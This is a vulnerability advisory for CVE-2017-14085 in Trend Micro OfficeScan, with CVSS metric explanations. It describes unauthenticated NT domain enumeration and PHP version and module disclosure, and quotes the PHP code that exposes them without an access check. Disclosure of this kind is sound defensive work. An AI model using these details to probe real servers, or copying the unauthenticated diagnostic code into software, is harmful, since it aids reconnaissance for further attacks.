The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

Product:
===========
OfficeScan
v11.0 and XG (12.0)*
Vulnerability Type:
===================
Unauthorized NT Domain Disclosure
Unauthorized PHP Information Disclosure
OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.
CVE Reference:
==============
CVE-2017-14085
Security Issue(s):
================
( NT Domain Disclosure )
Remote unauthenticated attackers who reach the TrendMicro OfficeScan XG application can query the networks NT domains.
NT enumeration is leaked by the web interface when it should not do so. Usually, you use NET commands so while this NT enumeration
is not high in severity, it should not return this information and especially to unauthorized users as it can aid in launching
further attacks.
( PHP Information Disclosure )
Remote unauthenticated attackers that can connect to TrendMicro OfficeScan XG application can query the PHP version and modules.
In 'analyzeWF.php" we see get_loaded_extensions() and phpversion() calls, but session or authentication check is made.
$strAnalyzeResultHeader .= analyzeWFShowItemInfo('Current PHP version: '.phpversion());
$strAnalyzeResultHeader .= analyzeWFShowItemInfo('PHP extensions: '.implode(', ',get_loaded_extensions()));
$strAnalyzeResultHeader .= analyzeWFShowItemInfo('WGF version : '.$strVersion);
